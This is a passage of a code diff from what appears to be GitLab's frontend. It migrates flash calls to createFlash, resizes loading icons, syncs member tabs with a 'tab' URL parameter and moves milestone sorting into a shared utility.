</gl-sprintf>
<gl-sprintf
v-if="!logs.isComplete"
diff --git a/app/assets/javascripts/logs/components/tokens/token_with_loading_state.vue b/app/assets/javascripts/logs/components/tokens/token_with_loading_state.vue
index f8ce704942b..4e672c1d121 100644
--- a/app/assets/javascripts/logs/components/tokens/token_with_loading_state.vue
+++ b/app/assets/javascripts/logs/components/tokens/token_with_loading_state.vue
@@ -20,7 +20,7 @@ export default {
<gl-filtered-search-token :config="config" v-bind="{ ...$attrs }" v-on="$listeners">
<template #suggestions>
<div class="m-1">
- <gl-loading-icon v-if="config.loading" />
+ <gl-loading-icon v-if="config.loading" size="sm" />
<div v-else class="py-1 px-2 text-muted">
{{ config.noOptionsText }}
</div>
diff --git a/app/assets/javascripts/main.js b/app/assets/javascripts/main.js
index 2309f7a420f..5c14000a2aa 100644
--- a/app/assets/javascripts/main.js
+++ b/app/assets/javascripts/main.js
@@ -31,7 +31,7 @@ import initFrequentItemDropdowns from './frequent_items';
import initBreadcrumbs from './breadcrumb';
import initPersistentUserCallouts from './persistent_user_callouts';
import { initUserTracking, initDefaultTrackers } from './tracking';
-import initUsagePingConsent from './usage_ping_consent';
+import initServicePingConsent from './service_ping_consent';
import GlFieldErrors from './gl_field_errors';
import initUserPopovers from './user_popovers';
import initBroadcastNotifications from './broadcast_notification';
@@ -46,6 +46,9 @@ applyGitLabUIConfig();
window.jQuery = jQuery;
window.$ = jQuery;
+// ensure that window.gl is set up
+window.gl = window.gl || {};
+
// inject test utilities if necessary
if (process.env.NODE_ENV !== 'production' && gon?.test_env) {
import(/* webpackMode: "eager" */ './test_utils/');
@@ -86,7 +89,7 @@ function deferredInitialisation() {
initBreadcrumbs();
initTodoToggle();
initLogoAnimation();
- initUsagePingConsent();
+ initServicePingConsent();
initUserPopovers();
initBroadcastNotifications();
initFrequentItemDropdowns();
@@ -183,7 +186,7 @@ document.addEventListener('DOMContentLoaded', () => {
return true;
});
- localTimeAgo($('abbr.timeago, .js-timeago'), true);
+ localTimeAgo(document.querySelectorAll('abbr.timeago, .js-timeago'), true);
/**
* This disables form buttons while a form is submitting
diff --git a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
index 1e9f79927ea..0c20f935d50 100644
--- a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
@@ -38,6 +38,7 @@ export default {
usersName: user.name,
source: source.fullName,
},
+ false,
);
}
diff --git a/app/assets/javascripts/members/components/app.vue b/app/assets/javascripts/members/components/app.vue
index a08518584f3..0ec39f58930 100644
--- a/app/assets/javascripts/members/components/app.vue
+++ b/app/assets/javascripts/members/components/app.vue
@@ -19,6 +19,11 @@ export default {
type: String,
required: true,
},
+ tabQueryParamValue: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
computed: {
...mapState({
@@ -55,6 +60,6 @@ export default {
errorMessage
}}</gl-alert>
<filter-sort-container />
- <members-table />
+ <members-table :tab-query-param-value="tabQueryParamValue" />
</div>
</template>
diff --git a/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue b/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
index cc0533391df..33d86dec767 100644
--- a/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
+++ b/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
@@ -1,10 +1,13 @@
<script>
import { GlFilteredSearchToken } from '@gitlab/ui';
import { mapState } from 'vuex';
-import { getParameterByName, urlParamsToObject } from '~/lib/utils/common_utils';
-import { setUrlParams } from '~/lib/utils/url_utility';
+import { getParameterByName, setUrlParams, queryToObject } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
-import { SEARCH_TOKEN_TYPE, SORT_PARAM } from '~/members/constants';
+import {
+ SEARCH_TOKEN_TYPE,
+ SORT_QUERY_PARAM_NAME,
+ ACTIVE_TAB_QUERY_PARAM_NAME,
+} from '~/members/constants';
import { OPERATOR_IS_ONLY } from '~/vue_shared/components/filtered_search_bar/constants';
import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
@@ -64,7 +67,7 @@ export default {
},
},
created() {
- const query = urlParamsToObject(window.location.search);
+ const query = queryToObject(window.location.search);
const tokens = this.tokens
.filter((token) => query[token.type])
@@ -116,10 +119,15 @@ export default {
return accumulator;
}, {});
- const sortParam = getParameterByName(SORT_PARAM);
+ const sortParamValue = getParameterByName(SORT_QUERY_PARAM_NAME);
+ const activeTabParamValue = getParameterByName(ACTIVE_TAB_QUERY_PARAM_NAME);
window.location.href = setUrlParams(
- { ...params, ...(sortParam && { sort: sortParam }) },
+ {
+ ...params,
+ ...(sortParamValue && { [SORT_QUERY_PARAM_NAME]: sortParamValue }),
+ ...(activeTabParamValue && { [ACTIVE_TAB_QUERY_PARAM_NAME]: activeTabParamValue }),
+ },
window.location.href,
true,
);
diff --git a/app/assets/javascripts/members/components/members_tabs.vue b/app/assets/javascripts/members/components/members_tabs.vue
index 37b9135126d..7c21e33d892 100644
--- a/app/assets/javascripts/members/components/members_tabs.vue
+++ b/app/assets/javascripts/members/components/members_tabs.vue
@@ -1,16 +1,18 @@
<script>
import { GlTabs, GlTab, GlBadge } from '@gitlab/ui';
import { mapState } from 'vuex';
-import { urlParamsToObject } from '~/lib/utils/common_utils';
+// eslint-disable-next-line import/no-deprecated
+import { urlParamsToObject } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
-import { MEMBER_TYPES } from '../constants';
+import { MEMBER_TYPES, TAB_QUERY_PARAM_VALUES, ACTIVE_TAB_QUERY_PARAM_NAME } from '../constants';
import MembersApp from './app.vue';
const countComputed = (state, namespace) => state[namespace]?.pagination?.totalItems || 0;
export default {
name: 'MembersTabs',
- tabs: [
+ ACTIVE_TAB_QUERY_PARAM_NAME,
+ TABS: [
{
namespace: MEMBER_TYPES.user,
title: __('Members'),
@@ -19,19 +21,21 @@ export default {
namespace: MEMBER_TYPES.group,
title: __('Groups'),
attrs: { 'data-qa-selector': 'groups_list_tab' },
+ queryParamValue: TAB_QUERY_PARAM_VALUES.group,
},
{
namespace: MEMBER_TYPES.invite,
title: __('Invited'),
canManageMembersPermissionsRequired: true,
+ queryParamValue: TAB_QUERY_PARAM_VALUES.invite,
},
{
namespace: MEMBER_TYPES.accessRequest,
title: __('Access requests'),
canManageMembersPermissionsRequired: true,
+ queryParamValue: TAB_QUERY_PARAM_VALUES.accessRequest,
},
],
- urlParams: [],
components: { MembersApp, GlTabs, GlTab, GlBadge },
inject: ['canManageMembers'],
data() {
@@ -55,32 +59,22 @@ export default {
},
}),
urlParams() {
+ // eslint-disable-next-line import/no-deprecated
return Object.keys(urlParamsToObject(window.location.search));
},
activeTabIndexCalculatedFromUrlParams() {
- return this.$options.tabs.findIndex(({ namespace }) => {
+ return this.$options.TABS.findIndex(({ namespace }) => {
return this.getTabUrlParams(namespace).some((urlParam) =>
this.urlParams.includes(urlParam),
);
});
},
},
- created() {
- if (this.activeTabIndexCalculatedFromUrlParams === -1) {
- return;
- }
-
- this.selectedTabIndex = this.activeTabIndexCalculatedFromUrlParams;
- },
methods: {
getTabUrlParams(namespace) {
const state = this.$store.state[namespace];
const urlParams = [];
- if (state?.pagination?.paramName) {
- urlParams.push(state.pagination.paramName);
- }
-
if (state?.filteredSearchBar?.searchParam) {
urlParams.push(state.filteredSearchBar.searchParam);
}
@@ -110,14 +104,23 @@ export default {
</script>
<template>
- <gl-tabs v-model="selectedTabIndex">
- <template v-for="(tab, index) in $options.tabs">
- <gl-tab v-if="showTab(tab, index)" :key="tab.namespace" :title-link-attributes="tab.attrs">
- <template slot="title">
+ <gl-tabs
+ v-model="selectedTabIndex"
+ sync-active-tab-with-query-params
+ :query-param-name="$options.ACTIVE_TAB_QUERY_PARAM_NAME"
+ >
+ <template v-for="(tab, index) in $options.TABS">
+ <gl-tab
+ v-if="showTab(tab, index)"
+ :key="tab.namespace"
+ :title-link-attributes="tab.attrs"
+ :query-param-value="tab.queryParamValue"
+ >
+ <template #title>
<span>{{ tab.title }}</span>
<gl-badge size="sm" class="gl-tab-counter-badge">{{ getTabCount(tab) }}</gl-badge>
</template>
- <members-app :namespace="tab.namespace" />
+ <members-app :namespace="tab.namespace" :tab-query-param-value="tab.queryParamValue" />
</gl-tab>
</template>
</gl-tabs>
diff --git a/app/assets/javascripts/members/components/table/members_table.vue b/app/assets/javascripts/members/components/table/members_table.vue
index 09ef98ec411..b9c80edbc49 100644
--- a/app/assets/javascripts/members/components/table/members_table.vue
+++ b/app/assets/javascripts/members/components/table/members_table.vue
@@ -5,7 +5,7 @@ import MembersTableCell from 'ee_else_ce/members/components/table/members_table_
import { canOverride, canRemove, canResend, canUpdate } from 'ee_else_ce/members/utils';
import { mergeUrlParams } from '~/lib/utils/url_utility';
import initUserPopovers from '~/user_popovers';
-import { FIELDS } from '../../constants';
+import { FIELDS, ACTIVE_TAB_QUERY_PARAM_NAME } from '../../constants';
import RemoveGroupLinkModal from '../modals/remove_group_link_modal.vue';
import CreatedAt from './created_at.vue';
import ExpirationDatepicker from './expiration_datepicker.vue';
@@ -34,6 +34,13 @@ export default {
import('ee_component/members/components/ldap/ldap_override_confirmation_modal.vue'),
},
inject: ['namespace', 'currentUserId'],
+ props: {
+ tabQueryParamValue: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
computed: {
...mapState({
members(state) {
@@ -112,7 +119,15 @@ export default {
paginationLinkGenerator(page) {
const { params = {}, paramName } = this.pagination;
- return mergeUrlParams({ ...params, [paramName]: page }, window.location.href);
+ return mergeUrlParams(
+ {
+ ...params,
+ [ACTIVE_TAB_QUERY_PARAM_NAME]:
+ this.tabQueryParamValue !== '' ? this.tabQueryParamValue : null,
+ [paramName]: page,
+ },
+ window.location.href,
+ );
},
},
};
diff --git a/app/assets/javascripts/members/constants.js b/app/assets/javascripts/members/constants.js
index f68a8814fee..6f465245d20 100644
--- a/app/assets/javascripts/members/constants.js
+++ b/app/assets/javascripts/members/constants.js
@@ -89,6 +89,12 @@ export const MEMBER_TYPES = {
accessRequest: 'accessRequest',
};
+export const TAB_QUERY_PARAM_VALUES = {
+ group: 'groups',
+ invite: 'invited',
+ accessRequest: 'access_requests',
+};
+
export const DAYS_TO_EXPIRE_SOON = 7;
export const LEAVE_MODAL_ID = 'member-leave-modal';
@@ -97,7 +103,8 @@ export const REMOVE_GROUP_LINK_MODAL_ID = 'remove-group-link-modal-id';
export const SEARCH_TOKEN_TYPE = 'filtered-search-term';
-export const SORT_PARAM = 'sort';
+export const SORT_QUERY_PARAM_NAME = 'sort';
+export const ACTIVE_TAB_QUERY_PARAM_NAME = 'tab';
export const MEMBER_ACCESS_LEVEL_PROPERTY_NAME = 'access_level';
diff --git a/app/assets/javascripts/members/utils.js b/app/assets/javascripts/members/utils.js
index be549b40885..05f086c8f4f 100644
--- a/app/assets/javascripts/members/utils.js
+++ b/app/assets/javascripts/members/utils.js
@@ -1,6 +1,6 @@
import { isUndefined } from 'lodash';
-import { getParameterByName, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import { setUrlParams } from '~/lib/utils/url_utility';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { getParameterByName, setUrlParams } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import {
FIELDS,
diff --git a/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue b/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue
index 04e493712ec..7168efa28ad 100644
--- a/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue
+++ b/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue
@@ -2,7 +2,7 @@
import { GlButton } from '@gitlab/ui';
import { debounce } from 'lodash';
import { mapActions } from 'vuex';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import { INTERACTIVE_RESOLVE_MODE } from '../constants';
@@ -50,13 +50,13 @@ export default {
methods: {
...mapActions(['setFileResolveMode', 'setPromptConfirmationState', 'updateFile']),
loadEditor() {
- const EditorPromise = import(/* webpackChunkName: 'EditorLite' */ '~/editor/editor_lite');
+ const EditorPromise = import(/* webpackChunkName: 'SourceEditor' */ '~/editor/source_editor');
const DataPromise = axios.get(this.file.content_path);
Promise.all([EditorPromise, DataPromise])
.then(
([
- { default: EditorLite },
+ { default: SourceEditor },
{
data: { content, new_path: path },
},
@@ -66,7 +66,7 @@ export default {
this.originalContent = content;
this.fileLoaded = true;
- this.editor = new EditorLite().createInstance({
+ this.editor = new SourceEditor().createInstance({
el: contentEl,
blobPath: path,
blobContent: content,
@@ -75,7 +75,9 @@ export default {
},
)
.catch(() => {
- flash(__('An error occurred while loading the file'));
+ createFlash({
+ message: __('An error occurred while loading the file'),
+ });
});
},
saveDiffResolution() {
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue b/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue
index 3e31e2e93ae..5fcc778a714 100644
--- a/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue
+++ b/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue
@@ -120,7 +120,7 @@ export default {
>
<div class="js-file-title file-title file-title-flex-parent cursor-default">
<div class="file-header-content" data-testid="file-name">
- <file-icon :file-name="file.filePath" :size="18" css-classes="gl-mr-2" />
+ <file-icon :file-name="file.filePath" :size="16" css-classes="gl-mr-2" />
<strong class="file-title-name">{{ file.filePath }}</strong>
</div>
<div class="file-actions d-flex align-items-center gl-ml-auto gl-align-self-start">
diff --git a/app/assets/javascripts/merge_request.js b/app/assets/javascripts/merge_request.js
index feaf8b0d996..0ddb2c2334c 100644
--- a/app/assets/javascripts/merge_request.js
+++ b/app/assets/javascripts/merge_request.js
@@ -148,14 +148,6 @@ MergeRequest.prototype.initCommitMessageListeners = function () {
});
};
-MergeRequest.setStatusBoxToMerged = function () {
- $('.detail-page-header .status-box')
- .removeClass('status-box-open')
- .addClass('status-box-mr-merged')
- .find('span')
- .text(__('Merged'));
-};
-
MergeRequest.decreaseCounter = function (by = 1) {
const $el = $('.js-merge-counter');
const count = Math.max(parseInt($el.text().replace(/[^\d]/, ''), 10) - by, 0);
diff --git a/app/assets/javascripts/merge_request_tabs.js b/app/assets/javascripts/merge_request_tabs.js
index d5db9f43d09..1d1c0a23fab 100644
--- a/app/assets/javascripts/merge_request_tabs.js
+++ b/app/assets/javascripts/merge_request_tabs.js
@@ -3,12 +3,10 @@ import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import $ from 'jquery';
import Cookies from 'js-cookie';
import Vue from 'vue';
-import CommitPipelinesTable from '~/commit/pipelines/pipelines_table.vue';
import createEventHub from '~/helpers/event_hub_factory';
-import initAddContextCommitsTriggers from './add_context_commits_modal';
import BlobForkSuggestion from './blob/blob_fork_suggestion';
import Diff from './diff';
-import { deprecatedCreateFlash as flash } from './flash';
+import createFlash from './flash';
import initChangesDropdown from './init_changes_dropdown';
import axios from './lib/utils/axios_utils';
import {
@@ -335,17 +333,22 @@ export default class MergeRequestTabs {
axios
.get(`${source}.json`)
.then(({ data }) => {
- document.querySelector('div#commits').innerHTML = data.html;
- localTimeAgo($('.js-timeago', 'div#commits'));
+ const commitsDiv = document.querySelector('div#commits');
+ commitsDiv.innerHTML = data.html;
+ localTimeAgo(commitsDiv.querySelectorAll('.js-timeago'));
this.commitsLoaded = true;
this.scrollToContainerElement('#commits');
this.toggleLoading(false);
- initAddContextCommitsTriggers();
+
+ return import('./add_context_commits_modal');
})
+ .then((m) => m.default())
.catch(() => {
this.toggleLoading(false);
- flash(__('An error occurred while fetching this tab.'));
+ createFlash({
+ message: __('An error occurred while fetching this tab.'),
+ });
});
}
@@ -354,13 +357,16 @@ export default class MergeRequestTabs {
const { mrWidgetData } = gl;
this.commitPipelinesTable = new Vue({
+ components: {
+ CommitPipelinesTable: () => import('~/commit/pipelines/pipelines_table.vue'),
+ },
provide: {
artifactsEndpoint: pipelineTableViewEl.dataset.artifactsEndpoint,
artifactsEndpointPlaceholder: pipelineTableViewEl.dataset.artifactsEndpointPlaceholder,
targetProjectFullPath: mrWidgetData?.target_project_full_path || '',
},
render(createElement) {
- return createElement(CommitPipelinesTable, {
+ return createElement('commit-pipelines-table', {
props: {
endpoint: pipelineTableViewEl.dataset.endpoint,
emptyStateSvgPath: pipelineTableViewEl.dataset.emptyStateSvgPath,
@@ -402,7 +408,7 @@ export default class MergeRequestTabs {
initChangesDropdown(this.stickyTop);
- localTimeAgo($('.js-timeago', 'div#diffs'));
+ localTimeAgo(document.querySelectorAll('#diffs .js-timeago'));
syntaxHighlight($('#diffs .js-syntax-highlight'));
if (this.isDiffAction(this.currentAction)) {
@@ -446,7 +452,9 @@ export default class MergeRequestTabs {
})
.catch(() => {
this.toggleLoading(false);
- flash(__('An error occurred while fetching this tab.'));
+ createFlash({
+ message: __('An error occurred while fetching this tab.'),
+ });
});
}
diff --git a/app/assets/javascripts/milestone.js b/app/assets/javascripts/milestone.js
index 280613bda49..b4e53c1fab6 100644
--- a/app/assets/javascripts/milestone.js
+++ b/app/assets/javascripts/milestone.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import { deprecatedCreateFlash as flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { __ } from './locale';
@@ -39,7 +39,11 @@ export default class Milestone {
$(tabElId).html(data.html);
$target.addClass('is-loaded');
})
- .catch(() => flash(__('Error loading milestone tab')));
+ .catch(() =>
+ createFlash({
+ message: __('Error loading milestone tab'),
+ }),
+ );
}
}
}
diff --git a/app/assets/javascripts/milestone_select.js b/app/assets/javascripts/milestone_select.js
index b992eaff779..0d9a2eef01a 100644
--- a/app/assets/javascripts/milestone_select.js
+++ b/app/assets/javascripts/milestone_select.js
@@ -7,6 +7,7 @@ import { template, escape } from 'lodash';
import Api from '~/api';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { __, sprintf } from '~/locale';
+import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
import boardsStore, {
boardStoreIssueSet,
boardStoreIssueDelete,
@@ -93,21 +94,7 @@ export default class MilestoneSelect {
// Public API includes `title` instead of `name`.
name: m.title,
}))
- .sort((mA, mB) => {
- const dueDateA = mA.due_date ? parsePikadayDate(mA.due_date) : null;
- const dueDateB = mB.due_date ? parsePikadayDate(mB.due_date) : null;
-
- // Move all expired milestones to the bottom.
- if (mA.expired) return 1;
- if (mB.expired) return -1;
-
- // Move milestones without due dates just above expired milestones.
- if (!dueDateA) return 1;
- if (!dueDateB) return -1;
-
- // Sort by due date in ascending order.
- return dueDateA - dueDateB;
- }),
+ .sort(sortMilestonesByDueDate),
)
.then((data) => {
const extraOptions = [];
diff --git a/app/assets/javascripts/milestones/components/milestone_combobox.vue b/app/assets/javascripts/milestones/components/milestone_combobox.vue
index 1db2d10db20..e8499015210 100644
--- a/app/assets/javascripts/milestones/components/milestone_combobox.vue
+++ b/app/assets/javascripts/milestones/components/milestone_combobox.vue
@@ -171,7 +171,7 @@ export default {
<template>
<gl-dropdown v-bind="$attrs" class="milestone-combobox" @shown="focusSearchBox">
- <template slot="button-content">
+ <template #button-content>
<span data-testid="milestone-combobox-button-content" class="gl-flex-grow-1 text-muted">{{
selectedMilestonesLabel
}}</span>
@@ -202,7 +202,7 @@ export default {
<gl-dropdown-divider />
<template v-if="isLoading">
- <gl-loading-icon />
+ <gl-loading-icon size="sm" />
<gl-dropdown-divider />
</template>
<template v-else-if="showNoResults">
diff --git a/app/assets/javascripts/milestones/milestone_utils.js b/app/assets/javascripts/milestones/milestone_utils.js
new file mode 100644
index 00000000000..3ae5e676138
--- /dev/null
+++ b/app/assets/javascripts/milestones/milestone_utils.js
@@ -0,0 +1,32 @@
+import { parsePikadayDate } from '~/lib/utils/datetime_utility';
+
+/**
+ * This method is to be used with `Array.prototype.sort` function
+ * where array contains milestones with `due_date`/`dueDate` and/or
+ * `expired` properties.
+ * This method sorts given milestone params based on their expiration
+ * status by putting expired milestones at the bottom and upcoming
+ * milestones at the top of the list.
+ *
+ * @param {object} milestoneA
+ * @param {object} milestoneB
+ */
+export function sortMilestonesByDueDate(milestoneA, milestoneB) {
+ const rawDueDateA = milestoneA.due_date || milestoneA.dueDate;
+ const rawDueDateB = milestoneB.due_date || milestoneB.dueDate;
+ const dueDateA = rawDueDateA ? parsePikadayDate(rawDueDateA) : null;
+ const dueDateB = rawDueDateB ? parsePikadayDate(rawDueDateB) : null;
+ const expiredA = milestoneA.expired || Date.now() > dueDateA?.getTime();
+ const expiredB = milestoneB.expired || Date.now() > dueDateB?.getTime();
+
+ // Move all expired milestones to the bottom.
+ if (expiredA) return 1;
+ if (expiredB) return -1;
+
+ // Move milestones without due dates just above expired milestones.
+ if (!dueDateA) return 1;
+ if (!dueDateB) return -1;
+
+ // Sort by due date in ascending order.
+ return dueDateA - dueDateB;
+}
diff --git a/app/assets/javascripts/mirrors/mirror_repos.js b/app/assets/javascripts/mirrors/mirror_repos.js
index a26c8f85958..e59da18fb77 100644
--- a/app/assets/javascripts/mirrors/mirror_repos.js
+++ b/app/assets/javascripts/mirrors/mirror_repos.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
import { debounce } from 'lodash';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import { hide } from '~/tooltips';
@@ -111,7 +111,11 @@ export default class MirrorRepos {
return axios
.put(this.mirrorEndpoint, payload)
.then(() => this.removeRow($target))
- .catch(() => Flash(__('Failed to remove mirror.')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to remove mirror.'),
+ }),
+ );
}
/* eslint-disable class-methods-use-this */
diff --git a/app/assets/javascripts/mirrors/ssh_mirror.js b/app/assets/javascripts/mirrors/ssh_mirror.js
index 15ded478405..5138c450feb 100644
--- a/app/assets/javascripts/mirrors/ssh_mirror.js
+++ b/app/assets/javascripts/mirrors/ssh_mirror.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
import { escape } from 'lodash';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { backOff } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
@@ -115,7 +115,9 @@ export default class SSHMirror {
const failureMessage = response.data
? response.data.message
: __('An error occurred while detecting host keys');
- Flash(failureMessage);
+ createFlash({
+ message: failureMessage,
+ });
$btnLoadSpinner.addClass('hidden');
this.$btnDetectHostKeys.enable();
diff --git a/app/assets/javascripts/monitoring/components/alert_widget.vue b/app/assets/javascripts/monitoring/components/alert_widget.vue
index c18c13f2574..e5d7e2ea2eb 100644
--- a/app/assets/javascripts/monitoring/components/alert_widget.vue
+++ b/app/assets/javascripts/monitoring/components/alert_widget.vue
@@ -227,7 +227,7 @@ export default {
<template>
<div class="prometheus-alert-widget dropdown flex-grow-2 overflow-hidden">
- <gl-loading-icon v-if="shouldShowLoadingIcon" :inline="true" />
+ <gl-loading-icon v-if="shouldShowLoadingIcon" :inline="true" size="sm" />
<span v-else-if="errorMessage" ref="alertErrorMessage" class="alert-error-message">{{
errorMessage
}}</span>
diff --git a/app/assets/javascripts/monitoring/components/charts/time_series.vue b/app/assets/javascripts/monitoring/components/charts/time_series.vue
index 99008d047af..12f5e7efc96 100644
--- a/app/assets/javascripts/monitoring/components/charts/time_series.vue
+++ b/app/assets/javascripts/monitoring/components/charts/time_series.vue
@@ -402,22 +402,20 @@ export default {
@created="onChartCreated"
@updated="onChartUpdated"
>
- <template v-if="tooltip.type === 'deployments'">
- <template slot="tooltip-title">
+ <template #tooltip-title>
+ <template v-if="tooltip.type === 'deployments'">
{{ __('Deployed') }}
</template>
- <div slot="tooltip-content" class="d-flex align-items-center">
+ <div v-else class="text-nowrap">
+ {{ tooltip.title }}
+ </div>
+ </template>
+ <template #tooltip-content>
+ <div v-if="tooltip.type === 'deployments'" class="d-flex align-items-center">
<gl-icon name="commit" class="mr-2" />
<gl-link :href="tooltip.commitUrl">{{ tooltip.sha }}</gl-link>
</div>
- </template>
- <template v-else>
- <template slot="tooltip-title">
- <div class="text-nowrap">
- {{ tooltip.title }}
- </div>
- </template>
- <template slot="tooltip-content" :tooltip="tooltip">
+ <template v-else>
<div
v-for="(content, key) in tooltip.content"
:key="key"
diff --git a/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue b/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue
index 94cfb562ce3..8e5a0b5cda2 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue
@@ -138,10 +138,10 @@ export default {
</script>
<template>
- <!--
+ <!--
This component should be replaced with a variant developed
as part of https://gitlab.com/gitlab-org/gitlab-ui/-/issues/936
- The variant will create a dropdown with an icon, no text and no caret
+ The variant will create a dropdown with an icon, no text and no caret
-->
<gl-dropdown
v-gl-tooltip
@@ -177,20 +177,22 @@ export default {
@formValidation="setFormValidity"
/>
</form>
- <div slot="modal-footer">
- <gl-button @click="hideAddMetricModal">
- {{ __('Cancel') }}
- </gl-button>
- <gl-button
- v-track-event="getAddMetricTrackingOptions()"
- data-testid="add-metric-modal-submit-button"
- :disabled="!customMetricsFormIsValid"
- variant="success"
- @click="submitCustomMetricsForm"
- >
- {{ __('Save changes') }}
- </gl-button>
- </div>
+ <template #modal-footer>
+ <div>
+ <gl-button @click="hideAddMetricModal">
+ {{ __('Cancel') }}
+ </gl-button>
+ <gl-button
+ v-track-event="getAddMetricTrackingOptions()"
+ data-testid="add-metric-modal-submit-button"
+ :disabled="!customMetricsFormIsValid"
+ variant="success"
+ @click="submitCustomMetricsForm"
+ >
+ {{ __('Save changes') }}
+ </gl-button>
+ </div>
+ </template>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/monitoring/components/dashboard_header.vue b/app/assets/javascripts/monitoring/components/dashboard_header.vue
index 05b5b760f0a..f53f78a3f13 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_header.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_header.vue
@@ -197,7 +197,7 @@ export default {
<gl-dropdown-section-header>{{ __('Environment') }}</gl-dropdown-section-header>
<gl-search-box-by-type @input="debouncedEnvironmentsSearch" />
- <gl-loading-icon v-if="environmentsLoading" :inline="true" />
+ <gl-loading-icon v-if="environmentsLoading" size="sm" :inline="true" />
<div v-else class="flex-fill overflow-auto">
<gl-dropdown-item
v-for="environment in filteredEnvironments"
diff --git a/app/assets/javascripts/monitoring/components/dashboard_panel.vue b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
index 202d18ac721..b786d015f3b 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_panel.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
@@ -389,7 +389,7 @@ export default {
/>
<div class="flex-grow-1"></div>
<div v-if="graphDataIsLoading" class="mx-1 mt-1">
- <gl-loading-icon />
+ <gl-loading-icon size="sm" />
</div>
<div
v-if="isContextualMenuShown"
diff --git a/app/assets/javascripts/monitoring/components/duplicate_dashboard_modal.vue b/app/assets/javascripts/monitoring/components/duplicate_dashboard_modal.vue
index 49d7e3a48a7..fd07a41ec37 100644
--- a/app/assets/javascripts/monitoring/components/duplicate_dashboard_modal.vue
+++ b/app/assets/javascripts/monitoring/components/duplicate_dashboard_modal.vue
@@ -88,7 +88,7 @@ export default {
@change="formChange"
/>
<template #modal-ok>
- <gl-loading-icon v-if="loading" inline color="light" />
+ <gl-loading-icon v-if="loading" size="sm" inline color="light" />
{{ okButtonText }}
</template>
</gl-modal>
diff --git a/app/assets/javascripts/monitoring/components/graph_group.vue b/app/assets/javascripts/monitoring/components/graph_group.vue
index ecb8ef4a0d0..5b73fb4e10d 100644
--- a/app/assets/javascripts/monitoring/components/graph_group.vue
+++ b/app/assets/javascripts/monitoring/components/graph_group.vue
@@ -61,7 +61,7 @@ export default {
<div v-if="showPanels" ref="graph-group" class="card prometheus-panel">
<div class="card-header d-flex align-items-center">
<h4 class="flex-grow-1">{{ name }}</h4>
- <gl-loading-icon v-if="isLoading" name="loading" />
+ <gl-loading-icon v-if="isLoading" size="sm" name="loading" />
<a
data-testid="group-toggle-button"
:aria-label="__('Toggle collapse')"
diff --git a/app/assets/javascripts/namespaces/leave_by_url.js b/app/assets/javascripts/namespaces/leave_by_url.js
index 094590804c1..e00c2abfbef 100644
--- a/app/assets/javascripts/namespaces/leave_by_url.js
+++ b/app/assets/javascripts/namespaces/leave_by_url.js
@@ -1,6 +1,6 @@
-import { deprecatedCreateFlash as Flash } from '~/flash';
-import { getParameterByName } from '~/lib/utils/common_utils';
+import createFlash from '~/flash';
import { initRails } from '~/lib/utils/rails_ujs';
+import { getParameterByName } from '~/lib/utils/url_utility';
import { __, sprintf } from '~/locale';
const PARAMETER_NAME = 'leave';
@@ -18,8 +18,10 @@ export default function leaveByUrl(namespaceType) {
if (leaveLink) {
leaveLink.click();
} else {
- Flash(
- sprintf(__('You do not have permission to leave this %{namespaceType}.'), { namespaceType }),
- );
+ createFlash({
+ message: sprintf(__('You do not have permission to leave this %{namespaceType}.'), {
+ namespaceType,
+ }),
+ });
}
}
diff --git a/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue b/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue
index cac8fecb6b1..97856eaf256 100644
--- a/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue
+++ b/app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue
